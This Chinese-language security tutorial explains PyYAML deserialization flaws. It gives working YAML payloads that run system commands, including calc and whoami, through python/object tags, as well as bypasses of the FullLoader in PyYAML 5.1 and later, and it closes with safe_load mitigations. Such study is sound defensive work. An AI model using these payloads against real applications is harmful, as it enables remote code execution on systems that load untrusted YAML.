PyYaml反序列化漏洞

2023-05-16 11:05:35 浏览数 (1)

  • Yaml是什么

YAML是一种可读性高,用来表达数据序列化的格式。YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写。在开发的这种语言时,YAML的意思其实是:”Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据为中心,而不是以标记语言为重点,而用反向缩略语重命名。

YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和YAML非常接近)。尽管它比较适合用来表达层次结构式(hierarchical model)的数据结构,不过也有精致的语法可以表示关系性(relational model)的数据。其让人最容易上手的特色是巧妙避开各种封闭符号,如:引号、各种括号等,这些符号在嵌套结构时会变得复杂而难以辨认。

YAML 的配置文件后缀为 .yml,如:docker-compose.yml

基本语法
  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • 在同一个yml文件中用---隔开多份配置
  • ‘#’表示注释
  • ‘!!’表示强制类型转换

像强制转化为str类型就是!!str,更多Yaml语法请移步YAML入门教程 | 菜鸟教程

数据类型

YAML 支持以下几种数据类型:

对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)

代码语言:javascript复制
key: 
    child-key: value
    child-key2: value2

数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)

代码语言:javascript复制
- A
- B
- C

纯量(scalars):单个的、不可再分的值

代码语言:javascript复制
boolean: 
    - TRUE  #true,True都可以
    - FALSE  #false,False都可以
float:
    - 3.14
    - 6.8523015e 5  #可以使用科学计数法
int:
    - 123
    - 0b1010_0111_0100_1010_1110    #二进制表示
null:
    nodeName: 'node'
    parent: ~  #使用~表示null
string:
    - 哈哈
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
    - newline
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:
    - 2018-02-17    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: 
    -  2018-02-17T15:02:31 08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用 代表时区

PyYaml < 5.1

PyYAML是Python出众的模块之一。PyYAML就是python的一个yaml库,yaml格式的语言都会有自己的实现来进行yaml格式的解析(读取和保存)。

语言转化

在PyYaml提供以下两类方法来实现python和yaml两种语言格式的互相转化

yaml -> python

yaml.load(data) # 加载单个 YAML 配置,返回一个Python对象 yaml.load_all(data) # 加载多个 YAML 配置,返回一个迭代器

yaml.load()方法的作用是将yaml类型数据转化为python对象包括自定义的对象实例、字典、列表等类型数据,两个方法都可以指定加载器(Loader),接收的data参数可以是yaml格式的字串、Unicode字符串、二进制文件对象或者打开的文本文件对象。

python -> yaml

yaml.dump(data) # 转换单个python对象 yaml.dump_all([data1, data2, …]) # 转换多个python对象

接收的data参数就是python对象包括对象实例、字典、列表等类型数据,python的对象实例转化最终是变成一串yaml格式的字符,所以这种情况我们称之为序列化,反之load()就是在反序列化

标签转化

PyYaml下支持所有yaml标签转化为python对应类型,详见Yaml与python类型的对照表

其中有五个强大的Complex Python tags支持转化为指定的python模块,类,方法以及对象实例

YAML tag

Python tag

!!python/name:module.name

module.name

!!python/module:package.module

package.module

!!python/object:module.cls

module.cls instance

!!python/object/new:module.cls

module.cls instance

!!python/object/apply:module.f

value of f(…)

利用方式

yaml模块中yaml/constructor.py中可以看到这几个标签的实现源码

直接看!!python/object/apply标签和!!python/object/new标签的处理函数

代码语言:javascript复制
def construct_python_object_apply(self, suffix, node, newobj=False):
    # Format:
    #   !!python/object/apply       # (or !!python/object/new)
    #   args: [ ... arguments ... ]
    #   kwds: { ... keywords ... }
    #   state: ... state ...
    #   listitems: [ ... listitems ... ]
    #   dictitems: { ... dictitems ... }
    # or short format:
    #   !!python/object/apply [ ... arguments ... ]
    # The difference between !!python/object/apply and !!python/object/new
    # is how an object is created, check make_python_instance for details.
    if isinstance(node, SequenceNode):
        args = self.construct_sequence(node, deep=True)
        kwds = {}
        state = {}
        listitems = []
        dictitems = {}
    else:
        value = self.construct_mapping(node, deep=True)
        args = value.get('args', [])
        kwds = value.get('kwds', {})
        state = value.get('state', {})
        listitems = value.get('listitems', [])
        dictitems = value.get('dictitems', {})
    instance = self.make_python_instance(suffix, node, args, kwds, newobj)
    if state:
        self.set_python_instance_state(instance, state)
    if listitems:
        instance.extend(listitems)
    if dictitems:
        for key in dictitems:
            instance[key] = dictitems[key]
    return instance

def construct_python_object_new(self, suffix, node):
    return self.construct_python_object_apply(suffix, node, newobj=True)

从代码可以看出!!python/object/new标签最终也是调用construct_python_object_apply方法。

接着里面调用了make_python_instance(),函数会根据参数来动态创建新的Python类对象或通过引用module的类创建对象,从而可以执行任意命令

代码语言:javascript复制
def make_python_instance(self, suffix, node,
        args=None, kwds=None, newobj=False):
    if not args:
        args = []
    if not kwds:
        kwds = {}
    cls = self.find_python_name(suffix, node.start_mark)
    if newobj and isinstance(cls, type):
        return cls.__new__(cls, *args, **kwds)
    else:
        return cls(*args, **kwds)

它会调用find_python_name(),里面就会用__import__()导入系统命令模块

具体利用方式为

代码语言:javascript复制
yaml.load("!!python/object/new:os.system [calc.exe]")

yaml.load("""
!!python/object/new:os.system
- calc.exe
""")

而阅读其他三个标签的源码可以发现没有可以对命令参数处理的地方,则不能直接执行命令,就得利用现有文件上传或者写文件的功能,传入一个写入命令执行代码的文件,将文件名写入标签中,当该标签被反序列化时,就可以顺利导入该文件作为模块,执行当中的命令

首先写一个文件名为test.py的文件,内容如下

代码语言:javascript复制
import os
os.system('calc')

在触发漏洞的文件里

代码语言:javascript复制
import yaml

yaml.load("!!python/module:test" )
yaml.load("!!python/object:test.aaaa" )
yaml.load("!!python/name:test.aaaa" )

这里aaaa主要是防止命名规则不对提前报错结束程序而随便写的方法名,代码里有没有都无所谓

这种利用其他文件的方式也可以用!!python/object/new!!python/object/apply标签

代码语言:javascript复制
yaml.load('!!python/object/apply:test.aaaa {}' )
yaml.load('!!python/object/new:test.aaaa {}' )

如果写入的文件和触发漏洞的文件不在同一目录下

则需要加上目录,比如同级的uploads目录

代码语言:javascript复制
yaml.load("!!python/module:uploads.test" )
yaml.load("!!python/object:uploads.test.aaaa" )
yaml.load("!!python/name:uploads.test.aaaa" )
yyaml.load('!!python/object/apply:uploads.test.aaaa {}' )
yaml.load('!!python/object/new:uploads.test.aaaa {}' )

如果文件名为__init__.py,则只需要目录名即可

PyYaml >= 5.1

修复改动

一是find_python_name方法和find_python_mdule方法增加了一个默认的unsafe为false的值

代码语言:javascript复制
def find_python_name(self, name, mark, unsafe=False)

这个值会限制__import__()而抛出错误

二是在PyYAML>=5.1版本中load函数被限制使用了,如果没有指定Loader会抛出警告并默认加载器为FullLoader

BaseConstructor:仅加载最基本的YAML SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load) FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。 UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load) Constructor:等同于UnsafeConstructor

如果指定的加载器是UnsafeConstructor 或者Constructor,那么还可以像<5.1版本一样利用

在默认加载器下,如果不执行只是为了单纯导入模块,那么需要sys.modules字典中有我们的模块,否则报错;

如果要执行,那么sys.modules字典中要有利用模块,并且加载进来的 module.name 必须是一个类而不能是方法,否则就会报错

利用方式

builtens模块

builtins是python的内建模块,它不需要import,python会加载内建模块中的函数到内存中,该模块是在sys.modules中的

既然必须是一个类,则找该模块的类成员

代码语言:javascript复制
import builtins
def print_all(module_):
    modulelist = dir(module_)
    length = len(modulelist)
    for i in range(0, length, 1):
        result = str(getattr(module_, modulelist[i]))
        if '<class' in result:
            print(result)

print_all(builtins)

这时候就想办法利用这些执行代码

map来触发函数执行,用tuple将map对象转化为元组输出来(用listfrozensetbytes都可以

代码语言:javascript复制
tuple(map(eval, ["__import__('os').system('whoami')"]))
代码语言:javascript复制
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__('os').system('whoami')"]
""")

subprocess模块

subprocess 模块替代了一些老的模块和函数,比如:os.systemos.spawn*等,而subprocess模块定义了一个类:Popen

代码语言:javascript复制
yaml.load("""
- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [calc]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load
""")

其他巧妙利用

代码语言:javascript复制
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
yaml.load("""
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('calc')"
""")
代码语言:javascript复制
yaml.load("""
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('calc')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:eval
        items: !!python/name:list
""")

这些payload均是利用基本类型之中代码执行函数,从而绕过5.1 的防御措施。

修复方法

1、按照官方推荐使用safe_load对于序列化内容进行加载。 2、检测加载文件头防止加载代码执行函数。

参考链接: PyYAML反序列化防御和ByPass | 柠檬菠萝 PyYAML反序列化漏洞 | DAMOXILAI 浅谈PyYAML反序列化漏洞 | Al1ex

0 人点赞